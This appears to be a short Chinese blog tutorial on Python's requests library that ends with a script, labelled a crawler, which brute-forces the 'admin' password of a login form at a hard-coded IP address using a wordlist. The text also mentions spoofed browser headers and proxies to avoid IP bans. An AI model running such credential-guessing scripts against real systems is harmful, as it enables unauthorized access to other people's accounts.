requests模块总结

get

先导入模块

import requests
rep=requests.get(url)

返回一个对象可调用的常用方法有

rep.text//返回网页的字符串文本会有编码问题
rep.content//返回访问的二进制文件常用于爬取图片等文件
rep.encoding//返回页面的编码
rep.status_code//返回页面的状态码
rep.header//返回相应头字典的形式
rep.ok//查看是否登入成功
r.json//这里搞一篇文章单独讲

url里面传递参数

pararms={'id':123}//以字典进行传送id为变量名然后就是变量内容
timeout=2//设置最长的响应时间
headers=header//发送的响应头伪装成浏览器
files=files//还可以发送图片上传这里要找准接口然后是以二进制的形式打开
proxies=proxy//这里开启代理可以爬取图片的时候防止封ip还可以bp代理发包劫难

POST

这个跟get请求没啥区别Orz

session

这个是跟服务器发生一次会发再次请求cookie等一些参数不会发生变化
用法与get差不多

爬虫

这里贴一个以前写的爬虫

import io
import requests
import sys
import re
lujing='./mima.txt'
mima=[]
url1="http://101.200.53.102:12333/"
headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}
data={}
def getfile(lujing):
	global mima
	try:
		f=open(lujing,'r')
		mima=f.read().split('\n')
	except Exception as e:
		print e
	finally:
		f.close()

def expl(url,di):
	global data
	for i in di:
		try:
			data={'username':'admin','password':i}
			reponse=requests.post(url,headers=headers,data=data)
			reponse=reponse.text
			list1=re.findall(r'<h2 align="center" style="margin-top:0px;">(.*?)</h2>',reponse)
			print list1
			if 'failed!!!' in list1[0]:
				#print "nono"
				continue
			else:
				print "okokokok[+]:the password is %s"%(i)
		except Exception as e:
			print e

getfile(lujing)
expl(url1,mima)
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章